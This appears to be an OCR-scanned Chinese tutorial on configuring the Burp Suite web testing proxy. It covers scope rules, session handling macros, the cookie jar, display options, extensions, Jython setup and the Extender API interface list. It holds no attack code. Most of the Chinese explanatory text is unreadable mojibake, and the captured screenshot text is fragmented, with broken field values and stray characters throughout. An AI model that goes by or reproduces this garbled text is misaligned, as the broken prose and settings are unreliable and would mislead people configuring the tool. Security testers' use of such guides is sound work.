Target. Scanner. Proxy. Intruder 5. 2.iEKM4E (Urls Scope) , BL&FTAE T
URL Hihik. e fEH T B XEHB =ML HECE S Target 2518,




@ URL Scope
Use the configuration below]|
() Include all URLs

() Use suite scope [define{
®) Use custom scope

Include in scope

Enabled

/

Edit

Remove

I

| Paste URL

I

—
o
[
=%

E’ Add URL to include in scope

(7 | Specify a regular expression to match each URL component, or leave blank to
—match any item. An IP range can be specified instead of a hostname.

Protocol: l HTTP M

Host or IP range: [www.baidu.com \

[ 1

Port: |80 ‘

File: Iphp| l I

| Paste URL | ok || cancel |

AER TS H L (Paramters Scope) , HMikd Iy, My [Edit] 2408 a] %2
BOHATECE, W B

(i) |

Exclude from scope

E Editlist

| Add | |Enabled

SID=1234563442

Paste |

dit

Remove

i

| Paste URL |

Load ...

i

Load ... »
Remove ‘

Clear

@ Parameter Scope

\\:u can restrict the rule to requests containing specific pagameters if required.

A
©
I
=
Q
o=
51
=
@
o
-4
@
78
@
o
o
3
=
o,
=
=)
=
o
S
o,
©
Q
L
~

L.






Hie & 56 B 5 1 Scope #k B RAR I B i«

Bo B e G, 2 iE A BRFUE X VE F A Burp T B AAAE TR S5 HEAT AL BE, Bltn, nfric
B 7 Proxy, WL Proxy f1451%, A LGB F 751 [open sessions tracer] #4174
TEIR Bf. WA



-

E  Session handling tracer EM

arning: This tracer imp i shouid only be used when s o
’ Hide warning

Requests handled

Time Tool URL
11:47:44 10+—H 2016 Proxy hitp://gianclick.baidu.comiv.gif?pid=304&ref=tingbox&brows...
11:47:44 10 +—FH 2016 Proxy http:/insclick. baidu.comiv.gif?pid=304&ref=tingbox&browser...
11:48:44 10+—H 2016 Proxy hitp://play.baidu.com/statage
11:48:44 10 +—H 2016 Proxy http:/insclick. baidu.comiv.gif?pid=304&ref=tingbox&browser...
11:48:44 10 +—H 2016 Proxy http://gianclick.baidu.comiv.gif?pid=304&ref=tingbox&brows...
11:48:44 10 +—H 2016 Proxy hitp:/ly.baidu.com/data/song/ulc?callback=jQuery17203359...
Events
| Applying rule: Use cookies from Burp's cookie jar
Updated 8 cookies in current request from cookie jar
Issued request

Event detail

|
| | Req_uest_l Response | Info
|| Raw | Params I Headers I Hex ]

|| GET requestto /maamonitorv.gif

il | Type | Name Value
URL from pcweb A
URL product music
URL ua Mozilla%2F5.0%20(Windows%20NT%206.1)%20Apple...
URL timestamp 13_7181226770399556
URL listen_type 8

| Lurl huffct n ¥
Body encoding:

()

t Pause J [ Clear J [ Close J

Cookie Jar

Burp i@ L 44 Cookie jar K43 15 11 75 BT web 3 531 cookie 15 5., Cookie jar 115 £
£ Burp TG T B2 B BRI =1 .

@ Cookie Jar

G Burp maintains a cookie jar that stores all ofthe cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain valid sessions\
u use the settings below to control how Burp automatically updates the cookie jar based on traffic from particular tools.

Monitor the following tools’ traffic to update the cookie jar:

] Proxy (/] Scanner (V] Repeater [¥/] Spider
] Intruder (] Sequencer [¥] Extender

Open cookie jar




BATAT LA EEP R AR E, SkiEE Cookie jar TEMFLL T BLAf: 2 a4 4. Mk E 7%
g, X T H AR ERIEE Y, £F4F Cookie jar MI¥E b — S E . FIRF, &
i1t AT LS R 7 [Open cookie jar] #24, ki cookie 15 B KT T4Ed .

To monitor or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

N

s ‘ E | Cookie jar viewer = 8] X
Open sessions tracer
Domain | Name | value | Expires [ Edit cookie J
|iJ Cookie Jar config.pinyi... IPLOC CN3401 /
¢ [ Remove cookie J
G Burp maintains a cookie jar that stores fthe cookie T sessic
[—J use the settings below to control how8urp automatical ‘ bt

Empty cookie jar

Monitor the following tools’ traffi’to update the cookie ja Domain: config.pinyin.sogou.com

[ Proxy (/] Scapfer V] Repeater [ Sp Name: |PLOC ) )
(] Intruder (] ®€quencer [¥] Extender Close

/ L; Value: | CN3456| \ )
Open cookie jar .

[lJ Macros \

%#:(Macros)

FESTRAC BRI B35 vh, JRATIBNE B8 L& 7 WE i,  BIERATHER U —UF Burp

IR . Burp F2EHE SGE: — A EEE 2 MERITUE SUPHI, AR Z P EiE 2

AN SR, AR AR AR I 1% RO AT IR E SR & 1B AR IR A I 7 A
a7 s LT, I A T T SR A R b)BE e, DRI &1k
L. o) EZ B BRINBGEIAET, SREGET DRI R BEE, v R IR ARG, d)7E
Z BB RES, ERMKEHRE, BTSRRI & 7IEARERFISN, ZEibt
BN R cookie HRSH. MRS ET. 1. K14

@J Macros

d‘ A macro is a sequence of one or more requests. You can use macros within session handling rules to perform

Add Macro 1

Edit

I

Remove

[

Duplicate

!

Up

I

Down

L I

B A, @i [AddY « [Edit] « [Removel #4H, AT DA #4758 &\
BOCRIER R A 22 MR, FATATGED [Up] A1 [Down] FEAIRH Y21 A &,
RAZHIESAT ISR E . 2. BRI @RS g — A%, Bl Z2yERk S 2f
FHE BT IEE, HIA AR Rl AL LI @], RIBRZERIE M. 23R4T



s [ADdY #ZHERFrE — A%, W Burp R 11245 B s A S o

AR B A FH A E ) Macros Editor, 17 & 7 ] Macros Recorder S ik =K 10 5%
2 AT RN, AT DOERE— A E AR NERIC S, MUONE IR .

i BB, 88 18~22 Ml Az RIFA, s LOK] RAF/F5)5E, BLES

==

H /o



E Macro Ed|

@ Mal
Use
the

Mact

»wm_.at}?gi

Dat
Sen)
X-B

Exp|
Var]
Prof

€

3 eGP

Cacl

E Configure Macro Item: POST request to http://q.soft.360.cn/get_desc.php?app

id=7065d72c1426... S

nd cookies are handled for each item. You can also test

erived paramet [ Configure item ]

Move up
Move down

Y|
[«

Remove item

Edit

2| Configure Macro Item
Configure how cookies and request parameters are handled for this macro item.
(V) Add cookies received in to the session ing cookie jar
[ Use cookies from the session handling cookie jar in requests 1
A
appver Use presetvalue |x v2
type Use presetvalue 4 desc
\ mid Use presetvalue ‘v 7065d72c142644444444444447
i
| from Use presetvalue |¥| 360Fuckexe
items Use presetvalue | v | :-:lvi\1|= tify.dll%0 i y%0! 2%|‘ ‘{
Name | value derived from { Add J
Edit
2
Remove
OK

Re-record macro

‘ Re-analyze macro
v

0 matches Testmacro
oK Cancel

i—"lﬁéﬂ‘])ﬁﬁ [ configure ltem] 4241, Blsf S8 & 7
PGy, EECONEIYR LR, FEENCASHENRE, NENET 2 Bor, JATATEL
WRIELIrp T LE, BINEEXSHENZHE. T T ERREZ G, Ji1AE [OK]
% M, W—NECEERNe®E. 3. ZMMH TRERNREZE, THRITMEE ZE
BiE MRl R K. FE2 G (Session Handling Rules) & 5 Fh Al
lic® [Rule Actions] KA Run a Macro. Run a Post-Request Macro H-/™Mi£i,

LA B HA R, BT A s, EERBEEREN, A . DRk E
TR R, FLASE P B A B AR R AR T T B TR

HE,

i CnEED o HECEA S EH




‘ Session handling action editor - Rule 1 @

= | This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based
on the result of the macro.

Select macro:
Add | | Macro 4
Edit

Note that the request currently being processed by this session handling rule will still be issued, so the macro should not include this
request unless itis necessary to issue it twice.

[¥/] Update current request with parameters matched from final macro response

(® Update all parameters except for: 1

Edit

() Update only the following parameters:

Edit

[_] Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

| @ Update current request with cookies from session handling cookie jar
ll @ Update all cookies except for: -
| Edit
] (_) Update only the following cookies:
[ Edit J
[ After running the macro, invoke a Burp extension action handler: 5
<
.

[ OK J [CancelJ

HoAp B 1 B il 72 N R N S HE, BATR UL B R 2 B E R T LA 3
W SHE; B 2 s N cookie FIME, [FIAF, AR AT DA i B 2 A E B ol A 3
WSAE; B 3 PR AT R Z G, IE AT LAAAT Burp BU3EPF, T AT A R AR SR AR A
H.

oW E (Display)

AR R AF—FE, Burp WAFE R REE, 1AM S IS BHR#E . Burp HER
w EFEAS: HSE (User Interface) « Hitp JH B 278 (HTTP Message Display)
TR HEWE (Character Sets) DL UTTH7EH (HTML Rendering)

FH P T 3 2 P SR BB (A AN T AU




W HEE
Windows X% . Windows £ 8L X% . Nimbus 2%, SE(ECE 5, T2 EH Burp 424 %%

Http 74 5o EE AR E HAth Burp T ERA/FH http 78 B BN 8. mmEa.
@ HTTP Message Display

@ These settings let you control how HTTP messages are displayed within the raw HTTP viewer/editor.

Font: Courier New 1Ipt Change font ...

[¥/] Highlight request parameters
(/] Highlight response syntax

TR BE T EARRICE http 15 2 R~ 8 B 747 56 i, 0018 A S 2 B 1k
T Ron LA p AL, BRSO T 2 H 2 RIR G 7 14k

»| Character Sets

G These settings control how Burp handles different character sets when displaying raw HTTP messages. Note that some glyphs ar
U need to use an extended or unusual character set, you should first try a system font such as Courier New or Dialog.

@ Recognize automatically based on message headers

(_) Use the platform default (GBK)

(_) Display as raw bytes

(_) Use a specific character set: [GB18030

v

TVE SR T http W SEATERN, ZEHMEREAEER, MRERER, TR
BIHT http 155K E B

TN E (Misc)
Burp B 4% 30 3 BALE DU B4 2

PEEEEE (Hotkeys)



[ConnectionsT HTTP | SSL I Sessions I DisplayT Misc ]
@ Hotkeys

'L” These settings let you configure hotkeys for common actions. These include item-specific actions such as "Send to Repeater”,
Proxy”, and in-editor actions such as "Cut” and "Undo".

Action | Hotkey | |
Send to Repeater Ctrl+R |A
Send to Intruder Ctrl+l

Forward intercepted Proxy message Ctrl+F g
Togale Proxy interception Ctrl+T

Switch to Target Ctrl+Shift+T

Switch to Proxy Ctrl+Shift+P 4 ‘

 Edithotkeys

Burp FPRFESE GBS | RARAF R E S, ten Crl+V. Ctrl+C. Ctrl+Z #B 2 f1%
£ RG—F, FHI, EEATEAMZ T SAEEEN, Burp PR R A B
T Ctri+di i = BE, #illn:  send to Repeater /& Ctrl+R send to Intruder /& Ctrl+l 4]
Pt FEgEE A OIS, S, mH, Burp BRIRMET A e CRGERTITH
B8, WA SR [Edit hotkeys) ##4H, HEATIEIEIT .,

E%E (Logging)

lij Logging
6 These settings control logging of HTTP requests and responses.

All tools: [ | Requests [ | Responses
Proxy: [ | Requests | | Responses
Spider: [ ] Requests [ | Responses
Scanner: [ ] Requests [ | Responses
Intruder: [ ] Requests [ | Responses

Repeater: [ ] Requests | | Responses
Sequencer. | | Requests [ | Responses
Extender: [ ] Requests [ | Responses
k4%
# Burp AHEMRE T HAE RO HE, dFh, WarPLapic g ke MEE .
i SCE7 B (Temporary Files Location)

|lJ Temporary Files Location
G These settings let you configure where Burp stores its temporary files. Changes will take effect the next time Burp starts up.

(®) Use default system temp directory

(_) Use custom location: Choose folder ...

BRUTELL T, burp SAEH B R GE H s E IR S B3, RReE, AW AT BLE
XAH, TR HAREAT B A I SCfF A sk, burp f£ AR S, A A&
Bl AP AEL Hoferh e MBS 7 bR E, HEE Burp F T AT AR HAISHIRE
(Automatic Backup)




@ Automatic Backup

G The automatic backup feature can be used to save a copy of Burp's state periodically in the background, and on exit.

[ ] Automatically backup state every | 20 minutes

To folder

Choose folder

Include in-scope items only

Backup on exit

L% B TR 47 Burp FPIRSFILE, WEEHE, &7 & e LR Burp 12411
BSHAIBITIRE .
1£45B\%1 (Scheduled Tasks)

@ Scheduled Tasks

G These settings let you specify tasks that Burp will perform automatically at defined times or intervals.

e

Add J Time | Repeat Task
Edit
>
Remove

FATAT LOEAE ST ASIRE B, SRAZHIEST A A4l R LK R JATEI247 . H Al Burp 1)
RS EERNUR LR (R ED sy [AdDY #%4H, $2 R 0P i AT E



i
PERE 15t (Performance Feedback) == Burp HI{# H i) 5% bug Kt

»| Performance Feedback

o

You can help improve Burp by submitting anonymous feedback about Burp’s performance.

G|

[¥/] Submit anonymous feedback about Burp's performance

Feedback only contains technical information about Burp’s internal functioning, and does not identify you in any way. If you do report a bug via email, you can help us
diagnose any problems that your instance of Burp has encountered by including your debug ID.

Copy

Debug ID:



Burp Suite N F b 4 AF #45% H

Burp TEBAE IR T SC RS = i R AR ThRE, rEAH E GRS H 20 E E SUEE O
7 s e 2R RS . Burp 3R ER T AT LLLAZ M7 SRR H e X Burp AT A4, filln: &
MHTTP W& RAmA R, HE Ul 30 E 2 R TR L DL U M e s T (5 S, B
ARHT 0%, Bisuk S E AR T 8%, AEJHRMFEENEE:

JSLFH S AR ) 2 6 (BApp Store)
ETRAINEL Burp 46+ (Extension) H
flik ik & (Options)

IS FH 7o 3 1 (1 2 e sk P

7£ Burp Extender [+, A —> BApp Store ] Tab 7T, iXit+& Burp KINREE, NEZ
Mt HFh Burp BUddfE. BRIMEOLR, 4iRsd: [BApp Storel [ Tab ik}, SR
EoNAEME B, AR R ARE U R AR (), I FE 2EAE [Options] -> [ Connections ]

> [Upstream Proxy Servers] #H7% &, H&W T EFR:

JConnedions I HTTP | SSL | Sessions ] Display I Misc ]

] Platform Authentication
J These settings let you configure Burp to automatically carry out platform authentication to destination web servers.

@ Do platform authentication

[' Add J ’\'Host Ad\rType \ Username | Domain | Domain host]

= - 1
Edit

“—J rl Edit upstream proxy rule @‘

Remove

L?J Enter the details of the upstream proxy rule. You can use wildcards to specify
destination hosts (* matches zero or more characters, ? matches any character
except a dot). Leave the proxy host blank to connect directly for the specified
destination host.

|_J Prompt for credentials on platform authen

Destination host: | * -

| Upstream Proxy Servers

~.| The following rules determine whether Burp s{ \[that matches each de
S < E Proxy port: 8080
single proxy server, create a rule with * as tha

Proxy host: ‘ proxy.cbc.com ‘

Authentication type: [ None v

=

o | Destination host

[ ™ = Usermame:
Password:
Remove
2 E Domain:
Up
- Hostname:

Down

oKk || cancel
[z‘ SOCKS Proxy

HA QAR 25 28 1) host A port AR A 1 [ 9 28 ER5507 1] A0 A AR B =LA 11, 5E PRI %
%2 Connections & i AHC N & o




PSR AR ) I 2 i LS T, D S P TS 1) S S s KA T

MEFRIRATAT A, O NMEF IR ZI3E, ik rp2 ANl e, A R 946
PREHRAE B ZRAE 2. ORI ZAA R, WA A 0I5 Cinstall] 4%4,
AT 5%



Version: 2.0.12
Rating: ***** Submit rating
Installing | <«

\ Installing...

BRI, 223 B oK, AR EoR A Linstalling) » A F AW ERZE G, n EE. 2358

B, e BonEH e [Reinstall] A28 [Submit rating] , 1E 375 1
Version: 2.0.12

Rating: ***** Submit rating - 2
- 1
Reinstall s
FH P2 i R SE R, TE

=

24
Burp Extender (] Extension [¥] Tab GUHH, 2% H3h R QMBI 5E . @l 1F 5 £ 0
B OB, JRATRT UG AT S 4 .




_[,MJ BApp Store T APls T Options ]

Burp Extensions

Extensions let you customize Burp’s behavior using your own or third-party code.

[ Add J Loaded | Type Name
—————— W Java gason-0.9.6.jar
l Remove l Java Wsdler
Ly |
Down
_J%] output | Errors |
[/] Extension loaded
Name: Wsdler
Item Detail
Extension type Java
Filename bapps\594349bb233748f2bc80a%eb18a2e08fiwsdler. jar
Method registerExtenderCallbacks
Context menu providers 1
Suite tabs 3

24 0%

AR

BApp Store

B T MG B e edidi b o, BATE AT LU i i, #EAT P L. .

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp’s capabilities.

urnlen r

ssenti;

Name | Installed | Rating | Detail

ot @) : Wsdler

Manual Scan Issues 2] ****Y:? Pro extension This extension takes a WSDL request, parses outthe operations that are associated with the targ
MindMap Exporter O obokvnt SOAP requests that can then be sentto the SOAP endpoints.

NMAP Parser B b 2 3 arake p

Notes O Yoo e ey E Select BApp File — — —

Paramalyzer (B ¢ 2. 2.9.1 P — ==
ParrotNG O  Yokodokok Pro extension &% [ Burpsuite_pro WJ & @ =] 8
Payload Parser 0 Yookt

Pcap Importer O e e [ EnCode.exe [ ithon-installer-2.7.0 jar

PDF Metadata O Yoot Pro extension [ iython-standalone-2.7.0 jar

PDF Viewer ™ 'S 2 8 & 8 [ GrabTencentExmailContacts jar || run.bat

Protobuf Decoder @] FoAAAT [ JavaScriptinjector.py

Python Scripter g Jodrdrdoke v1.6betajar [ javasnoop-master.zip

Random IP Address Header ™) P 2. 2.0 0 ¢ L =r
Reflected Parameters ™ 'S 8 o okd Pro extension

Reissue Request Scripter 8 Yook s gason-0.9.6jar

Report To Elastic Search =] 'S 2 2 o 4 Pro extension 1 )

Request Randomizer O 02 2.0 9 4 prdt iy lFﬁﬁK# ln’!ij
Retire js ™ F' 2 2 2 0 ¢ Pro extensio

SANL Editor 0 Yool H17(0) B
SAML Encoder / Decoder O PS8 prekd

SAML Raider (B ¢ 2. 2.9.1 M
Sentinel || 'S 8 o okd

Session Auth ™) 2 2. 0.9 o

Session Timeout Test ™ 'S 8 8 gkd

Site Map Fetcher O 22 2.0 g*d

Software Version Reporter ™ P 'S 3 o ke

SQLiPy =) Pro extension

ThreadFix = Pro extension

WCF Deserializer (@]

Weblnspect Connector d Pro extension

WebSphere Portlet State D... (3]

What-The-WAF O

WSDL Wizard &

Wsdler 1 Y] |

XSS Validator & v

[ Refreshlist |




BEATR B 1A T 2 AL, 5 A 2 R SR A O BEAT, R AR € A
A, AT IR AT 2

EHEANE Burp #fiff (Extension) M LE—#TRAICE THER], w352 ldEt:, #2
BORERESIER T

WER AR AR L B A ST dm, W BB s, deddfs, AW

[ Details] Fr%E T2 BonidtE i EES, . HREMIEFZRA (java/Python/Ruby) . #fifF
PS4 AL E .. B T [Details] #r251014, [Output] #1 [Errors] ¥4 TLTH 751
AT DLIAE B A A A v A AR RS B B R

M EEFRBATILE L, HEERMMMA =D a)RgEil et b)fe i€ i3
e c)Burp A BRNEOLTS . ik Burp FF IRt o AESEPRN A, FRATTAT AR
& HOM™E, XHEMAAE AT .



oAk 1 v B

Burp i (i HAth i Tl B 1 245 Options ) Tab UUH ARG B E .

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner Tlntruder T Repeater TSequencer IDecoder TComparer T Extender I Options TAlerls T Wsdler ]

[ Extensions | Bapp store | APIs [ options |

@ Settings

o This setting controls how Burp handles extensions on startup.

@ Automatically reload extensions on startup

Java Environment

These settings let you configure the environment for executing extensions that are written in Java. If your extensions use any libraries, you can specify a folder fron

®E

Folder for loading library JAR files (optional):

Selectfolder ...

7| Python Environment
G These settings let you configure the environment for executing extensions that are written in Python. To use Python extensions, you will need to download Jython,
Location of Jython standalone JAR file:

D:softisafetool\Burpsuite_pro\jython-installer-2.7.0.jar Selectfile ...

Folder for loading modules (optional):

Selectfolder ...

2| Ruby Environment

L’ These settings let you configure the environment for executing extensions that are written in Ruby. To use Ruby extensions, you will need to download JRuby, whit
U can either configure the location of the JRuby JAR file here, or you can load the JAR file on startup via the Java classpath.

Location of JRuby JAR file:

Selectfile ..

MEIHEATIT LA, [Setting) (I EEIR: —EHNN AZNEFME burp #HfF, 2K
i1 PRI, Burp fEEERT, 2 HBIME Burp £ BRI INE G N A TR T
M =30 B B R ARYE R A R BT /5 s AT MR I C B . BATeRE 5 —NsiT

[ JavaEnvironment] .

Burp Suite &3 T Java i TR HEAE, WHEEN T, JRSATIHERAR, R
JAVA_HOME. CLASS_PATH. LIB_PATH & CIEMHECE 5, B NREMELLIZETT
Burp Suite {17, LA, @O MRS L HEESH: WRSERERE, WRNEtH
BLORRER I jdk WAL R B HoAth ja, TR ERKE jar WS INEPT] .



2 | Java Environment

Ul These settings let you configure the environment for executing extensions that are written in Java. If your extensions use ¢

Folder for loading library JAR files (optional):

C:\Program Files\Java\jdk1.7.0_13\jre\rtjar ] Select folder ...

i [Python Environment] 1 [ Ruby Environment] #& Burp &1} ] Python iz {73 55 A1
Ruby iz 7R AIBCE . U SCRATELSIE, Burp A& java iE 5 985 M, BTz
Python Al Ruby % Zfit & 3 %% Java 5 Python. Java 5 Ruby K jar, BRINE LR, Burp Yk
1129 JPython 1 JRuby, X PRANEAF F k43 7072 < http://ww jython.org/.
http://jruby.org. H2e 235 7 AR 8, Bt &b LL JPython SAfsl: 1. R4k JPython [1)% 3% 6,
Jpython %2354} jython-installer-2.7.0.jar 1 jython-standalone-2.7.0.jar B>, 45 ]
jython-installer, W N#EEfE, Wil jar, #%M 2kem T, —# [Next] 240~ B8,

WK ZRRIE. R —EHBRIN, HEEZRLEK.

r 4 Ny
| £ Jython Installation @
Target directory ‘2

Choose the location where you want Jython to be installed to Y j h
ython

Please select the target directory:

:\jython2. 7.0 Browse. ..

[ Cancel | | Previous | [ Next |

S KA

WRAFEH jython-standalone-2.7.0.jar, W E #1758 2 5. 2.4F Burp f] Python
Environment 3 5L E Jpython, i {#EH 1 jython-standalone-2.7.0.jar, T Kl $5 2
jar fE A BRI AT, R4 jython-installer 772X, 48 E 22 (S, M E T
gk (bAbh 7 U BT IS T, SRR, Ipython 2 fi A
Z—BRIAr) .



http://www.jython.org/
http://jruby.org/

Python Environment

2
G These settings let you configure the environment for executing extensions that are written in Python. To use Python ¢

Location of Jython standalone JAR file:

D:\soft\safetool\Burpsuite_pro\jython-standalone-2.7.0 jar Selectfile ...

Folder for loading modules (optional):

C\jython2.7.0 Select folder ...

Z£F JRuby WECE S JPython JML, LLAWIAERGIA . BB SEMIHeT I KA )5,
APAVE AN R IEH AL, S0, R [Errors] ARZE T 2 A #HRNIERER,
AT LIRS R S s R A2 B AL E -

J Extensions I BApp Store IAPIs I Options ]

Burp Extensions

Extensions let you customize Burp’s behavior using your own or third-party code.

l Add J Loaded | Type | Name
) Java gason-0.9.6.jar
MJ W Java Wsdler

= &  Python SQLiPy

Down

i

[ Details I Output IError_s ]

() Outputto system console

() Savetofile: Selectfile ... /
@® Showin UL

HRETEERT

+HEEFERENZ, LIAUEH Burp A ThEE, X T Burp ZATHFTEE R IVM A 5
Wk, —MENE N 1G, ARG LS, ++



W 4% ’E H i Burp Suite 6

Burp Suite [f158 KBx T H S84t 17 =F & W nr gl N S Thaeslh, HIREER SR =
R ShRE AR T A RS B O E e E . W E—=W R4 TR,
Burp Suite L FrHFE S A Java. Python. Ruby =Fh. TCieMEAHE S ISZHL, TFRE R
B OERACARMIES, RO LA TR . N HEATRE & Wi Ik
— Burp Extender fJ#ifF. AR EENES:

API [&iA Burp fdf41)

'S AT HE %

Burp ffifFHIgmS (Java i = hi)

API fijid



F17F Burp Extender [¥] APIs [¥] Tab 71, & ZIfFH a0 R B Fs:

Burp Intruder Repeater Window Help

| Target | Proxy | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer [ Extender | Options | Alerts |

[Extensions TBApp Store TAPIg TOptions ]

Burp Extender APIs

You can use the Burp Extender APIs to create your own extensions to customize Burp's behavior.

|1BurpExtender
|IBurpExtenderCallbacks
IContextMenuFactory
IContextMenulnvocation
ICookie

|ExtensionHelpers
|ExtensionStateListener
IHttpListener
IHttpRequestResponse
IHttpRequestResponsePersisted
IHttpRequestResponseWithMarkers
IHttpService
linterceptedProxyMessage
lintruderAttack
lintruderPayloadGenerator
lintruderPayloadGeneratorFactory
lintruderPayloadProcessor
IMenultemHandler
IMessageEditor
IMessageEditorController
IMessageEditorTab
IMessageEditorTabFactory
IParameter

IProxyListener

IRequestinfo

IResponselnfo

IScanlssue

IScanQueueltem
IScannerCheck
IScannerinsertionPoint
IScannerinsertionPointProvider
IScannerListener
IScopeChangeListener
ISessionHandlingAction

ITab
1 2

TempFile
TextEditor / /

* @(#)IScanJueuclten. java
*

* Copyright PortSwigger Ltd. All rights reserved.
*

* This code may be used to extend the functionality
* and Burp Suite Professional, provided that this us
* license terms for those products.
*/
/t*
* This interface is used to retrieve details of item
* active scan cueue. Extensions can obtain reference
* calling
* <code>IBurpExtenderCallbacks. doActiveScan()</code>
%
public interface IScanQueuelten
{
/*‘k
* This method returns a description of the statu
*
* @return A description of the status of the sca
*/
String getStatus();

/t'k
* This method returns an indication of the perce
* scan cueue itemn.
*
* @return An indication of the percentage comple
* item.
*/

byte getPercentageComplete();

/t*
* This method returns the number of recuests tha
* gcan cqueue iten.
*
* @return The number of recuests that have been
* item.
*x/

int getNumRecuests():;

/'k*
* This method returns the number of network erro
* the scan cueues iten.
*
* @return The number of network errors that have
*

queues iten.
x4
int getlunmErrors();

xK

[ Save interface files J [ Save Javadoc files j

/
? < + > Type a search term

F T 23 R VSRR T A 1 8 SO R R i, e AR B T A R AL, B 1
AN RAFRE DS, BN ARG, EIRENAEHXT, AR —RII java X,

R
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FEEI(H)
FIED =

5 ’ BMES =3 Ho

| || IBurpExtender.java 2016/11/14 14:48  UEStudio Docu... 1 KB|
|| IBurpExtenderCallbacks.java 2016/11/14 14:48  UEStudio Docu... 41 KB
| IContextMenuFactory.java 2016/11/14 14:48  UEStudio Docu... 2 KB
|| IContextMenulnvocation.java 2016/11/14 14:48  UEStudio Docu... 6 KB
|_| ICookie.java 2016/11/14 14:48 UEStudio Docu... 2 KB
|| IExtensionHelpers.java 2016/11/14 14:48  UEStudio Docu... 14 KB
|| IExtensionStateListener.java 2016/11/14 14:48 UEStudio Docu... 1KB
| IHttpListener.java 2016/11/14 14:48  UEStudio Docu... 2KB
|| IHttpRequestResponse,java 2016/11/14 14:48 UEStudio Docu... 3 KB
|| IHttpRequestResponsePersisted.java 2016/11/14 14:48  UEStudio Docu... 1KB
| IHttpRequestResponseWithMarkers.java 2016/11/14 14:48  UEStudio Docu... 2KB
|| IHttpService,java 2016/11/14 14:48  UEStudio Docu... 1KB
|| linterceptedProxyMessage.java 2016/11/14 14:48  UEStudio Docu... 5KB
| lintruderAttack.java 2016/11/14 14:48 UEStudio Docu... 1KB
|_| lintruderPayloadGenerator.java 2016/11/14 14:48  UEStudio Docu... 2KB
|| lintruderPayloadGeneratorFactory.java 2016/11/14 14:48 UEStudio Docu... 2 KB
|| lintruderPayloadProcessor.java 2016/11/14 14:48  UEStudio Docu... 2K8
|| IMenultemHandler.java 2016/11/14 14:48  UEStudio Docu... 2KB
|| IMessageEditor.java 2016/11/14 14:48 UEStudio Docu... 2 KB
|| IMessageEditorController.java 2016/11/14 14:48  UEStudio Docu... 2KB
| IMessageEditorTab.java #E: UEStudio Document (java) UEStudio Docu... 4KB
. IMessageEditorTabFactory.java ;g;:alixg:lzﬁe/n/m 14:48 UEStudio Docu... 2 KB
|| IParameter.java zororrryrerredl  UEStudio Docu.. 4KB
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IBurpExtender
[BurpExtenderCallbacks
IContextMenuFactory
IContextMenulnvocation

ICookie

IExtensionHelpers
IExtensionStateListener
IHttpListener
IHttpRequestResponse
IHttpRequestResponsePersisted
IHttoRequestResponseWithMarkers
IHttpService
linterceptedProxyMessage
lintruderAttack
lintruderPayloadGenerator
IintruderPayloadGeneratorFactory
ruderPayloadProcessor
nuitemHandler
IMessageEditor
IMessageEditorController
IMessageEditorTab
IMessageEditorTabFactory
IParameter

IProxyListener

IResponselnfo
IScanlssue
IScannerCheck
IScannerinsertionPoint
IScannerinsertionPointProvider
IScannerListener
IScanQueueitem
IScopeChangeListener
iSessionHandlingAction
iTab

ITempFile

ITextEditor
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Frames No Frames

Package burp

Interface Summary

IBurpExtenderCallbacks

IContextMenuFactory

IContextMenulnvocation
ICookie

IExtensionHelpers

IExtension StateListener

IHttpListener

IHttpRequestResponse
IHttpRequestResponsePersisted

kers
IHttpService
linterceptedProxyMessage
lintruderAttack
lintruderPayloadGenerator

lintruderPay

Interface Description
IBurpExtender All extensions mustimplement this interface.

This interface is used by Burp Suite to pass to extensions a set of callback methods that can be used by extensions to perform
various actions within Burp.

Extensions can implement this interface and then call IBurpExtenderCallbacks. registerContextMenuFactory () to register a factory
for custom context menu items.

This interface is used when Burp calls into an extension-provided IContextMenuFactory with details of a context menu invocation
This interface is used to hold details about an HTTP cookie.

This interface contains a number of helper methods, which extensions can use to assist with various common tasks that arise for
Burp extensions.

Extensions can implement this interface and then call IBurpExtenderCallbacks. registerExtensionStateListener () to register an
extension state listener.

Extensions can implement this interface and then call IBurpExtenderCallbacks. registerHttpListener () to register an HTTP
listener.

This interface is used to retrieve and update details about HTTP messages.

This interface is used for an IHt tpRequestResponse Object whose request and response messages have been saved to temporary
files using TBurpExtenderCallbacks. saveBuffersToTenpFiles ().

This interface is used for an THt tpRequestResponse 0bject that has had markers applied.

This interface is used to provide details about an HTTP service, to which HTTP requests can be sent.

This interface is used to rep an HTTP that has beeni by Burp Proxy.

This interface is used to hold details about an Intruder attack.

This interface is used for custom Intruder payload generators.

E can implement this interface and then call IBurpExtenderCallbacks. registerIntruderPayloadGeneratorFactory () to

atorFactory

lintruderPayloadProcessor

IMenuitemHandler

IMessageEditor
IMessageEditorController

IMessageEditorTab

IMessageEditorTabFactory

IParameter

ob By

RS JavaDocs ZAHAN, Burp B 7 Hig4E T

register a factory for custom Intruder payloads

Extensions can implement this interface and then call IBurpExtenderCallbacks. registerIntruderPayloadProcessor () to registera
custom Intruder payload processor.

Deprecated
Use Iontext#enuFactoryinstead.

This interface is used to provide extensions with an instance of Burp's HTTP message editor, for the extension to use in its own UL
This interface is used by an IHessageEdi tor to 0btain details aboutthe currently displayed message.

Extensions that register an IMessageEdi torTabFactory must return instances of this interface, which Burp will use to create custom
tabs within its HTTP message editors.

Extensions can implement this interface and then call IBurpExtenderCallbacks. registerMessageEdi torTabFactory () to register a
factory for custom message editor tabs

This interface is used to hold details about an HTTP request parameter.
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IBurpExtender. IBurpExtenderCallbacks.

IExtensionHelpers. |ExtensionStateListener IBurpExtender #0252 Burp fEfFRINI,

Fi 6 Burp G R ELBEE N, JEH Kad
IBurpExtenderCallbacks #1252 IBurpExtender 2 /5L I
4 (Scanner. Intruder. Spider
(HttpRequestResponse. HttpService. SessionHandlingAction) 2 [a] ¥4y
|IExtensionHelpers. |ExtensionStateListener i
[ 1 S

2. UlFHSCREO2E

IContextMenuFactory.

%4 BurpExtender.

245 Burp HiAth &AN4H
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XN D S Fa A 1 75 Bh A Wﬁﬁ

IContextMenulnvocation. ITab. ITextEditor.

IMessageEditor. IMenultemHandler
XK F B E X Burp MR UL SR MIBIE AL BE R A, FER A B

(EER

3. Burp THAHMRL:

linterceptedProxyMessage. lintruderAttack.

